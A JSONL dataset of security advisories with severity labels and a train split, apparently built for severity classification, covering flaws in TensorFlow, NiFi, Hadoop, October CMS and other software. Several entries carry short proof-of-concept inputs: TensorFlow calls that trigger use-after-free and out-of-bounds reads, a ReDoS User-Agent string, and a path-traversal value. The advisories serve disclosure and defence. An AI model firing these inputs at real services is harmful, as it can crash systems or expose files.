-{"id": "6c5f8fabe731a95f5906", "text": "Apache NiFi process group information disclosure\n\nWhen updating a Process Group via the API in NiFi versions 1.3.0 to 1.9.2, the response to the request includes all of its contents (at the top most level, not recursively). The response included details about processors and controller services which the user may not have had read access to.", "text_raw": "Apache NiFi process group information disclosure\n\n[Severity: MEDIUM]\n\nWhen updating a Process Group via the API in NiFi versions 1.3.0 to 1.9.2, the response to the request includes all of its contents (at the top most level, not recursively). The response included details about processors and controller services which the user may not have had read access to.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "eada795c4856972398ef", "text": "Use after free / memory leak in `CollectiveReduceV2`\n\n### Impact\nThe [async implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/collective_ops.cc#L604-L615) of `CollectiveReduceV2` suffers from a memory leak and a use after free:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.CollectiveReduceV2(\n  input=[],\n  group_size=[-10, -10, -10],\n  group_key=[-10, -10],\n  instance_key=[-10],\n  ordering_token=[],\n  merge_op='Mul',\n  final_op='Div')\n```\n\nThis occurs due to the asynchronous computation and the fact that objects that have been `std::move()`d from are still accessed:\n\n```cc\nauto done_with_cleanup = [col_params, done = std::move(done)]() {\n  done();\n  col_params->Unref();\n};\nOP_REQUIRES_OK_ASYNC(c,\n                     FillCollectiveParams(col_params, REDUCTION_COLLECTIVE,\n                                          /*group_size*/ c->input(1),\n                                          /*group_key*/ c->input(2),\n                                          /*instance_key*/ c->input(3)),\n                     done);\n```\n\nHere, `done` is already moved from by the time `OP_REQUIRES_OK_ASYNC` macro needs to invoke it in case of errors. In this case, we get an undefined behavior, which can manifest via crashes, `std::bad_alloc` throws or just memory leaks.\n\n### Patches\nWe have patched the issue in GitHub commit [ca38dab9d3ee66c5de06f11af9a4b1200da5ef75](https://github.com/tensorflow/tensorflow/commit/ca38dab9d3ee66c5de06f11af9a4b1200da5ef75).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, as this version is the only one that is also affected.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Use after free / memory leak in `CollectiveReduceV2`\n\n[Severity: HIGH]\n\n### Impact\nThe [async implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/collective_ops.cc#L604-L615) of `CollectiveReduceV2` suffers from a memory leak and a use after free:\n\n```python\nimport tensorflow as tf\n  \ntf.raw_ops.CollectiveReduceV2(\n  input=[],\n  group_size=[-10, -10, -10],\n  group_key=[-10, -10],\n  instance_key=[-10],\n  ordering_token=[],\n  merge_op='Mul',\n  final_op='Div')\n``` \n\nThis occurs due to the asynchronous computation and the fact that objects that have been `std::move()`d from are still accessed:\n\n```cc\nauto done_with_cleanup = [col_params, done = std::move(done)]() {\n  done();\n  col_params->Unref();\n};\nOP_REQUIRES_OK_ASYNC(c,\n                     FillCollectiveParams(col_params, REDUCTION_COLLECTIVE,\n                                          /*group_size*/ c->input(1),\n                                          /*group_key*/ c->input(2),\n                                          /*instance_key*/ c->input(3)),\n                     done);\n```\n\nHere, `done` is already moved from by the time `OP_REQUIRES_OK_ASYNC` macro needs to invoke it in case of errors. In this case, we get an undefined behavior, which can manifest via crashes, `std::bad_alloc` throws or just memory leaks.\n\n### Patches\nWe have patched the issue in GitHub commit [ca38dab9d3ee66c5de06f11af9a4b1200da5ef75](https://github.com/tensorflow/tensorflow/commit/ca38dab9d3ee66c5de06f11af9a4b1200da5ef75).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, as this version is the only one that is also affected.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "9957ea02e41820b1a057", "text": "strong_password Ruby gem malicious version causing Remote Code Execution vulnerability\n\nThe strong_password gem 0.0.7 for Ruby, as distributed on RubyGems.org, included a code-execution backdoor inserted by a third party. Version 0.0.8 does not contain the backdoor.", "text_raw": "strong_password Ruby gem malicious version causing Remote Code Execution vulnerability\n\n[Severity: CRITICAL]\n\nThe strong_password gem 0.0.7 for Ruby, as distributed on RubyGems.org, included a code-execution backdoor inserted by a third party. Version 0.0.8 does not contain the backdoor.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-08", "split": "train"}
-{"id": "b5fcfad69dadc6c28055", "text": "Path Traversal in Hadoop\n\nApache Hadoop 3.1.0, 3.0.0-alpha to 3.0.2, 2.9.0 to 2.9.1, 2.8.0 to 2.8.4, 2.0.0-alpha to 2.7.6, 0.23.0 to 0.23.11 is exploitable via the zip slip vulnerability in places that accept a zip file.", "text_raw": "Path Traversal in Hadoop\n\n[Severity: HIGH]\n\nApache Hadoop 3.1.0, 3.0.0-alpha to 3.0.2, 2.9.0 to 2.9.1, 2.8.0 to 2.8.4, 2.0.0-alpha to 2.7.6, 0.23.0 to 0.23.11 is exploitable via the zip slip vulnerability in places that accept a zip file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "43eb3840c630a8b48f11", "text": "Execution Control List (ECL) Is Insecure in Singularity\n\n### Impact\n\nThe Singularity Execution Control List (ECL) allows system administrators to set up a policy that defines rules about what signature(s) must be (or must not be) present on a SIF container image for it to be permitted to run.\n\nIn Singularity 3.x versions below 3.6.0, the following issues allow the ECL to be bypassed by a malicious user:\n\n* Image integrity is not validated when an ECL policy is enforced.\n * The fingerprint required by the ECL is compared against the signature object descriptor(s) in the SIF file, rather than to a cryptographically validated signature. Thus, it is trivial to craft an arbitrary payload which will be permitted to run, even if the attacker does not have access to the private key associated with the fingerprint(s) configured in the ECL.\n\n### Patches\n\nThese issues are addressed in Singularity 3.6.0.\n\nAll users are advised to upgrade to 3.6.0. Note that Singularity 3.6.0 uses a new signature format that is necessarily incompatible with Singularity < 3.6.0 - e.g. Singularity 3.5.3 cannot verify containers signed by 3.6.0.\n\nVersion 3.6.0 includes a `legacyinsecure` option that can be set to `legacyinsecure = true` in `ecl.toml` to allow the ECL to perform verification of the older, and insecure, legacy signatures for compatibility with existing containers. This does not guarantee that containers have not been modified since signing, due to other issues in the legacy signature format. The option should be used only to temporarily ease the transition to containers signed with the new 3.6.0 signature format.\n\n### Workarounds\n\nThis issue affects any installation of Singularity configured to use the Execution Control List (ECL) functionality. There is no workaround if ECL is required.\n\n### For more information\n\nGeneral questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:\n\n* [Singularity Slack Channel](https://bit.ly/2m0g3lX)\n* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)\n\nAny sensitive security concerns should be directed to: security@sylabs.io\n\nSee our Security Policy here: https://sylabs.io/security-policy", "text_raw": "Execution Control List (ECL) Is Insecure in Singularity\n\n[Severity: HIGH]\n\n### Impact\n\nThe Singularity Execution Control List (ECL) allows system administrators to set up a policy that defines rules about what signature(s) must be (or must not be) present on a SIF container image for it to be permitted to run.\n\nIn Singularity 3.x versions below 3.6.0, the following issues allow the ECL to be bypassed by a malicious user:\n\n * Image integrity is not validated when an ECL policy is enforced.\n * The fingerprint required by the ECL is compared against the signature object descriptor(s) in the SIF file, rather than to a cryptographically validated signature. Thus, it is trivial to craft an arbitrary payload which will be permitted to run, even if the attacker does not have access to the private key associated with the fingerprint(s) configured in the ECL.\n\n### Patches\n\nThese issues are addressed in Singularity 3.6.0.\n\nAll users are advised to upgrade to 3.6.0. Note that Singularity 3.6.0 uses a new signature format that is necessarily incompatible with Singularity < 3.6.0 - e.g. Singularity 3.5.3 cannot verify containers signed by 3.6.0.\n\nVersion 3.6.0 includes a `legacyinsecure` option that can be set to `legacyinsecure = true` in `ecl.toml` to allow the ECL to perform verification of the older, and insecure, legacy signatures for compatibility with existing containers. This does not guarantee that containers have not been modified since signing, due to other issues in the legacy signature format. The option should be used only to temporarily ease the transition to containers signed with the new 3.6.0 signature format.\n\n### Workarounds\n\nThis issue affects any installation of Singularity configured to use the Execution Control List (ECL) functionality. There is no workaround if ECL is required.\n\n### For more information\n\nGeneral questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:\n\n* [Singularity Slack Channel](https://bit.ly/2m0g3lX)\n* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)\n\nAny sensitive security concerns should be directed to: security@sylabs.io\n\nSee our Security Policy here: https://sylabs.io/security-policy", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "2bbad59252bd0d8c0851", "text": "Local File Inclusion by unauthenticated users\n\n### Impact\nAn attacker can exploit this vulnerability to read local files on an October CMS server. The vulnerability is exploitable by unauthenticated users via a specially crafted request.\n\n### Patches\nIssue has been patched in Build 469 (v1.0.469) and v1.1.0.\n\n### Workarounds\nApply https://github.com/octobercms/library/commit/80aab47f044a2660aa352450f55137598f362aa4 to your installation manually if unable to upgrade to Build 469.\n\n### References\nReported by [ka1n4t](https://github.com/ka1n4t)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1105\" alt=\"Screen Shot 2020-10-10 at 1 05 19 PM\" src=\"https://user-images.githubusercontent.com/7253840/95663086-4ffc4780-0af9-11eb-9bb6-fd40cf11c033.png\">", "text_raw": "Local File Inclusion by unauthenticated users\n\n[Severity: HIGH]\n\n### Impact\nAn attacker can exploit this vulnerability to read local files on an October CMS server. The vulnerability is exploitable by unauthenticated users via a specially crafted request.\n\n### Patches\nIssue has been patched in Build 469 (v1.0.469) and v1.1.0.\n\n### Workarounds\nApply https://github.com/octobercms/library/commit/80aab47f044a2660aa352450f55137598f362aa4 to your installation manually if unable to upgrade to Build 469.\n\n### References\nReported by [ka1n4t](https://github.com/ka1n4t)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1105\" alt=\"Screen Shot 2020-10-10 at 1 05 19 PM\" src=\"https://user-images.githubusercontent.com/7253840/95663086-4ffc4780-0af9-11eb-9bb6-fd40cf11c033.png\">", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-23", "split": "train"}
-{"id": "c949ffd79bc95e0aa05b", "text": "Path traversal in Grafana Cortex\n\nAn issue was discovered in Grafana Cortex through 1.9.0. The header value X-Scope-OrgID is used to construct file paths for rules files, and if crafted to conduct directory traversal such as ae ../../sensitive/path/in/deployment pathname, then Cortex will attempt to parse a rules file at that location and include some of the contents in the error message. (Other Cortex API requests can also be sent a malicious OrgID header, e.g., tricking the ingester into writing metrics to a different location, but the effect is nuisance rather than information disclosure.)", "text_raw": "Path traversal in Grafana Cortex\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Grafana Cortex through 1.9.0. The header value X-Scope-OrgID is used to construct file paths for rules files, and if crafted to conduct directory traversal such as ae ../../sensitive/path/in/deployment pathname, then Cortex will attempt to parse a rules file at that location and include some of the contents in the error message. (Other Cortex API requests can also be sent a malicious OrgID header, e.g., tricking the ingester into writing metrics to a different location, but the effect is nuisance rather than information disclosure.)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "d29fbe9545e32e261548", "text": "CMSLogik 1.2.1 Multiple Persistent XSS Vulnerabilities", "text_raw": "CMSLogik 1.2.1 Multiple Persistent XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-04-14", "split": "train"}
-{"id": "9e9672af76a35b6dde60", "text": "Incorrect Permission Assignment for Critical Resource in Apache hive\n\nIn Apache Hive 2.1.0 to 2.3.2, when 'COPY FROM FTP' statement is run using HPL/SQL extension to Hive, a compromised/malicious FTP server can cause the file to be written to an arbitrary location on the cluster where the command is run from. This is because FTP client code in HPL/SQL does not verify the destination location of the downloaded file. This does not affect hive cli user and hiveserver2 user as hplsql is a separate command line script and needs to be invoked differently.", "text_raw": "Incorrect Permission Assignment for Critical Resource in Apache hive\n\n[Severity: LOW]\n\nIn Apache Hive 2.1.0 to 2.3.2, when 'COPY FROM FTP' statement is run using HPL/SQL extension to Hive, a compromised/malicious FTP server can cause the file to be written to an arbitrary location on the cluster where the command is run from. This is because FTP client code in HPL/SQL does not verify the destination location of the downloaded file. This does not affect hive cli user and hiveserver2 user as hplsql is a separate command line script and needs to be invoked differently.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "c55000bc86518bddf49f", "text": "Cross-Site Scripting in bootbox\n\nAll version of `bootbox` are vulnerable to Cross-Site Scripting. The package does not sanitize user input in the provided dialog boxes, allowing attackers to inject HTML code and execute arbitrary JavaScript.\n\n## Recommendation\n\nSanitize user input being passed to `bootbox` or consider using an alternative package.", "text_raw": "Cross-Site Scripting in bootbox\n\n[Severity: MEDIUM]\n\nAll version of `bootbox` are vulnerable to Cross-Site Scripting. The package does not sanitize user input in the provided dialog boxes, allowing attackers to inject HTML code and execute arbitrary JavaScript.\n\n\n## Recommendation\n\nSanitize user input being passed to `bootbox` or consider using an alternative package.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-30", "split": "train"}
-{"id": "b964c391b6b06fa7f7df", "text": "Prototype Pollution in defaults-deep\n\nVersions of `default-deep` before 0.2.4 are vulnerable to prototype pollution\n\n## Recommendation\n\nUpdate to version 0.2.4 or later.", "text_raw": "Prototype Pollution in defaults-deep\n\n[Severity: HIGH]\n\nVersions of `default-deep` before 0.2.4 are vulnerable to prototype pollution\n\n\n## Recommendation\n\nUpdate to version 0.2.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "04d29349ab19f3d65e45", "text": "Duplicate Advisory: Remote Code Execution in AjaxNetProfessional\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6r7c-6w96-8pvw. This link is maintained to preserve external references.\n\n## Original Description\nAll versions of package ajaxpro.2 are vulnerable to Deserialization of Untrusted Data due to the possibility of deserialization of arbitrary .NET classes, which can be abused to gain remote code execution.", "text_raw": "Duplicate Advisory: Remote Code Execution in AjaxNetProfessional\n\n[Severity: CRITICAL]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6r7c-6w96-8pvw. This link is maintained to preserve external references.\n\n## Original Description\nAll versions of package ajaxpro.2 are vulnerable to Deserialization of Untrusted Data due to the possibility of deserialization of arbitrary .NET classes, which can be abused to gain remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "e8fc1913c015ef318477", "text": "Potential buffer overflow in psd-tools\n\n### Impact\nAn issue was discovered in psd-tools before 1.9.4. The Cython implementation of RLE decoding did not check for malformed PSD input data during decoding to the PIL.Image or NumPy format, leading to a Buffer Overflow.\n\n### Patches\nUsers of psd-tools version v1.8.37 to v1.9.3 should upgrade to v1.9.4.\n\n### Workarounds\nWithout Cython present on installation, buffer overflow does not occur but IndexError will be thrown. However, already installed psd-tools with Cython extention should be upgraded.\n\n### References\nhttps://github.com/psd-tools/psd-tools/pull/198\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [psd-tools](https://github.com/psd-tools/psd-tools/issues)", "text_raw": "Potential buffer overflow in psd-tools\n\n[Severity: CRITICAL]\n\n### Impact\nAn issue was discovered in psd-tools before 1.9.4. The Cython implementation of RLE decoding did not check for malformed PSD input data during decoding to the PIL.Image or NumPy format, leading to a Buffer Overflow.\n\n### Patches\nUsers of psd-tools version v1.8.37 to v1.9.3 should upgrade to v1.9.4.\n\n### Workarounds\nWithout Cython present on installation, buffer overflow does not occur but IndexError will be thrown. However, already installed psd-tools with Cython extention should be upgraded.\n\n### References\nhttps://github.com/psd-tools/psd-tools/pull/198\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [psd-tools](https://github.com/psd-tools/psd-tools/issues)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-03-16", "split": "train"}
-{"id": "42350f267bc12705945e", "text": "Ametys CMS 3.5.2 (lang parameter) XPath Injection Vulnerability", "text_raw": "Ametys CMS 3.5.2 (lang parameter) XPath Injection Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-11-28", "split": "train"}
-{"id": "5e0c18199f7db2542a05", "text": "Server session is not invalidated when logout() helper method of Authentication module is used in Vaadin 18-19\n\n`Authentication.logout()` helper in `com.vaadin:flow-client` versions 5.0.0 prior to 6.0.0 (Vaadin 18), and 6.0.0 through 6.0.4 (Vaadin 19.0.0 through 19.0.3) uses incorrect HTTP method, which, in combination with Spring Security CSRF protection, allows local attackers to access Fusion endpoints after the user attempted to log out.\n\n- https://vaadin.com/security/cve-2021-31408", "text_raw": "Server session is not invalidated when logout() helper method of Authentication module is used in Vaadin 18-19\n\n[Severity: MEDIUM]\n\n`Authentication.logout()` helper in `com.vaadin:flow-client` versions 5.0.0 prior to 6.0.0 (Vaadin 18), and 6.0.0 through 6.0.4 (Vaadin 19.0.0 through 19.0.3) uses incorrect HTTP method, which, in combination with Spring Security CSRF protection, allows local attackers to access Fusion endpoints after the user attempted to log out.\n\n- https://vaadin.com/security/cve-2021-31408", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "9b45329dc35dd4beaaa0", "text": "ReDoS via long UserAgent header in useragent\n\nAffected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.\n\n## Proof of Concept\n```js\nvar useragent = require('useragent');\n\nvar badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';\nvar request = 'GET / HTTP/1.1\\r\\nUser-Agent: ' + badUserAgent + '\\r\\n\\r\\n';\nconsole.log(useragent.parse(request));\n```\n\n## Recommendation\n\nUpdate to version 2.1.13 or later.", "text_raw": "ReDoS via long UserAgent header in useragent\n\n[Severity: HIGH]\n\nAffected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.\n\n\n## Proof of Concept\n```js\nvar useragent = require('useragent');\n\nvar badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';\nvar request = 'GET / HTTP/1.1\\r\\nUser-Agent: ' + badUserAgent + '\\r\\n\\r\\n';\nconsole.log(useragent.parse(request));\n```\n\n\n## Recommendation\n\nUpdate to version 2.1.13 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "660869be08f72ed06a7b", "text": "OS Command Injection in node-opencv\n\nutils/find-opencv.js in node-opencv (aka OpenCV bindings for Node.js) prior to 6.1.0 is vulnerable to Command Injection. It does not validate user input allowing attackers to execute arbitrary commands.", "text_raw": "OS Command Injection in node-opencv\n\n[Severity: CRITICAL]\n\nutils/find-opencv.js in node-opencv (aka OpenCV bindings for Node.js) prior to 6.1.0 is vulnerable to Command Injection. It does not validate user input allowing attackers to execute arbitrary commands.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "9dac38dc6bb2ed3fd30a", "text": "Uncontrolled Resource Consumption in Apache OpenMeetings server\n\nIf was found that the NetTest web service can be used to overload the bandwidth of a Apache OpenMeetings server. This issue was addressed in Apache OpenMeetings 6.0.0", "text_raw": "Uncontrolled Resource Consumption in Apache OpenMeetings server\n\n[Severity: HIGH]\n\nIf was found that the NetTest web service can be used to overload the bandwidth of a Apache OpenMeetings server. This issue was addressed in Apache OpenMeetings 6.0.0", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "e1134cd3948dc49b58ed", "text": "Cross Site Scripting in LavaLite CMS\n\nCross Site Scripting (XSS) vulnerabiity exists in LavaLite CMS 5.8.0 via the Menu Blocks feature, which can be bypassed by using HTML event handlers, such as \"ontoggle,\".", "text_raw": "Cross Site Scripting in LavaLite CMS\n\n[Severity: MEDIUM]\n\nCross Site Scripting (XSS) vulnerabiity exists in LavaLite CMS 5.8.0 via the Menu Blocks feature, which can be bypassed by using HTML event handlers, such as \"ontoggle,\".", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-09", "split": "train"}
-{"id": "1c65d2611fdc76fc5d1b", "text": "The sensu rubygem prior to version 1.2.0 contains a CWE-522 (Insufficiently Protected Credentials) flaw that can result in sensitive configuration data (e.g. passwords) being logged in clear-text.\n\nUsers are advised to upgrade to rubygem version 1.2.1 or later.", "text_raw": "Low severity vulnerability that affects sensu\n\n[Severity: LOW]\n\nThe sensu rubygem prior to version 1.2.0 contains a CWE-522 (Insufficiently Protected Credentials) flaw that can result in sensitive configuration data (e.g. passwords) being logged in clear-text. \n\nUsers are advised to upgrade to rubygem version 1.2.1 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "c66d66a5e1026749783a", "text": "activerecord vulnerable to SQL Injection\n\nRuby on Rails 3.0.x before 3.0.4 does not ensure that arguments to the limit function specify integer values, which makes it easier for remote attackers to conduct SQL injection attacks via a non-numeric argument.", "text_raw": "activerecord vulnerable to SQL Injection\n\n[Severity: HIGH]\n\nRuby on Rails 3.0.x before 3.0.4 does not ensure that arguments to the limit function specify integer values, which makes it easier for remote attackers to conduct SQL injection attacks via a non-numeric argument.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "682c75b9f157dee5b492", "text": "Reference binding to nullptr and heap OOB in binary cwise ops\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in all binary cwise operations that don't require broadcasting (e.g., gradients of binary cwise operations):\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.SqrtGrad(y=[4, 16],dy=[])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/cwise_ops_common.h#L264) assumes that the two inputs have exactly the same number of elements but does not check that. Hence, when the eigen functor executes it triggers heap OOB reads and undefined behavior due to binding to nullptr.\n\n### Patches\nWe have patched the issue in GitHub commit [93f428fd1768df147171ed674fee1fc5ab8309ec](https://github.com/tensorflow/tensorflow/commit/93f428fd1768df147171ed674fee1fc5ab8309ec).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by members of the Aivul Team from Qihoo  360.", "text_raw": "Reference binding to nullptr and heap OOB in binary cwise ops\n\n[Severity: HIGH]\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in all binary cwise operations that don't require broadcasting (e.g., gradients of binary cwise operations):\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.SqrtGrad(y=[4, 16],dy=[])\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/cwise_ops_common.h#L264) assumes that the two inputs have exactly the same number of elements but does not check that. Hence, when the eigen functor executes it triggers heap OOB reads and undefined behavior due to binding to nullptr.\n\n### Patches\nWe have patched the issue in GitHub commit [93f428fd1768df147171ed674fee1fc5ab8309ec](https://github.com/tensorflow/tensorflow/commit/93f428fd1768df147171ed674fee1fc5ab8309ec).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n  \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by members of the Aivul Team from Qihoo  360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "5c570c9702df19f57aff", "text": "SimpleMDE XSS Vulnerability\n\nSimpleMDE 1.11.2 has XSS via an onerror attribute of a crafted IMG element, or via certain input with `[` and `(` characters, which is mishandled during construction of an `A` element.", "text_raw": "SimpleMDE XSS Vulnerability\n\n[Severity: MEDIUM]\n\nSimpleMDE 1.11.2 has XSS via an onerror attribute of a crafted IMG element, or via certain input with `[` and `(` characters, which is mishandled during construction of an `A` element.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "47454bee2e77b14da60e", "text": "Machine-In-The-Middle in https-proxy-agent\n\nVersions of `https-proxy-agent` prior to 2.2.3 are vulnerable to Machine-In-The-Middle. The package fails to enforce TLS on the socket if the proxy server responds the to the request with a HTTP status different than 200. This allows an attacker with access to the proxy server to intercept unencrypted communications, which may include sensitive information such as credentials.\n\n## Recommendation\n\nUpgrade to version 3.0.0 or 2.2.3.", "text_raw": "Machine-In-The-Middle in https-proxy-agent\n\n[Severity: MEDIUM]\n\nVersions of `https-proxy-agent` prior to 2.2.3 are vulnerable to Machine-In-The-Middle. The package fails to enforce TLS on the socket if the proxy server responds the to the request with a HTTP status different than 200. This allows an attacker with access to the proxy server to intercept unencrypted communications, which may include sensitive information such as credentials.\n\n\n## Recommendation\n\nUpgrade to version 3.0.0 or 2.2.3.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-16", "split": "train"}
-{"id": "51e86872b3890ac9c710", "text": "Access control flaw in Kiali\n\nAn incorrect access control flaw was found in the kiali-operator in versions before 1.33.0. This flaw allows an attacker with a basic level of access to the cluster (to deploy a kiali operand) to use this vulnerability and deploy a given image to anywhere in the cluster, potentially gaining access to privileged service account tokens. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.", "text_raw": "Access control flaw in Kiali\n\n[Severity: HIGH]\n\nAn incorrect access control flaw was found in the kiali-operator in versions before 1.33.0. This flaw allows an attacker with a basic level of access to the cluster (to deploy a kiali operand) to use this vulnerability and deploy a given image to anywhere in the cluster, potentially gaining access to privileged service account tokens. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "131d95e30114245b939a", "text": "Malicious Package in js-shc3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-shc3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "aa3c3ac821179bb48ab8", "text": "Cachet vulnerable to forced reinstall\n\n### Impact\n\nAuthenticated users, regardless of their privileges (_User_ or _Admin_), can trick Cachet and install the instance again, leading to arbitrary code execution on the server.\n\n### Patches\n\nThis issue was addressed by improving the middleware `ReadyForUse`, which now performs a stricter validation of the instance name.\n\n### Workarounds\n\nOnly allow trusted source IP addresses to access to the administration dashboard.\n\n### References\n\n- https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n- The original reporters, by sending an email to vulnerability.research [at] sonarsource.com;\n- The maintainers, by opening an issue on this repository.", "text_raw": "Cachet vulnerable to forced reinstall\n\n[Severity: HIGH]\n\n### Impact\n\nAuthenticated users, regardless of their privileges (_User_ or _Admin_), can trick Cachet and install the instance again, leading to arbitrary code execution on the server.\n\n### Patches\n\nThis issue was addressed by improving the middleware `ReadyForUse`, which now performs a stricter validation of the instance name. \n\n### Workarounds\n\nOnly allow trusted source IP addresses to access to the administration dashboard.\n\n### References\n\n- https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n- The original reporters, by sending an email to vulnerability.research [at] sonarsource.com;\n- The maintainers, by opening an issue on this repository.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
